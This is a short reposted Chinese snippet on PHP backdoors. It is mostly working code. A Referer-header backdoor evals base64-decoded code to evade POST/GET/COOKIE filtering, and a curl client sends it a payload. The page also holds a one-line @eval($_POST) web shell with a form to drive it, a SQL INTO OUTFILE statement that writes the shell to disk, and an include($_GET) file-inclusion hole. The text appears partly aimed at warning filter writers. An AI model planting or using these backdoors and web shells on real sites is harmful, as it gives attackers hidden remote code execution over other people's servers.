[转]关于PHP后门

http://www.oschina.net/code/snippet_164175_21174?p=1#comments

当过滤  POST  GET   COOKIE 时 ， 注意$_SERVER['HTTP_REFERER']

1.php  上传后门代码

《?php

//1.php

header('Content-type:text/html;charset=utf-8');

parse_str($_SERVER['HTTP_REFERER'], $a);

if(reset($a) == '10' && count($a) == 9) {

   eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));

}

2.php 本地

《?php

//2.php

header('Content-type:text/html;charset=utf-8');

//要执行的代码

$code = <<

phpinfo();

CODE;

//进行base64编码

$code = base64_encode($code);

//构造referer字符串

$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";

//后门url

$url = 'http://localhost/test1/1.php';

$ch = curl_init();

$options = array(

    CURLOPT_URL => $url,

    CURLOPT_HEADER => FALSE,

    CURLOPT_RETURNTRANSFER => TRUE,

    CURLOPT_REFERER => $referer

);

curl_setopt_array($ch, $options);

echo curl_exec($ch);







------------------

注意CURL







-------------------------

《?php @eval_r($_POST['c']);?》

《html>  

《body>  

《form action="a.php" method="post">  

《input type="text" name="c" value="phpinfo();">  

《input type="submit" value="submit">  

《/form>  

《/body>  

《/html>  

-------------------

select '《?php @eval_r($_POST["c"]);?》' INTO OUTFILE 'e:/m.php'  

--------------

$filename=$_GET['xbid'];

include ($filename);

//危险的include函数，直接编译任何文件为php格式运行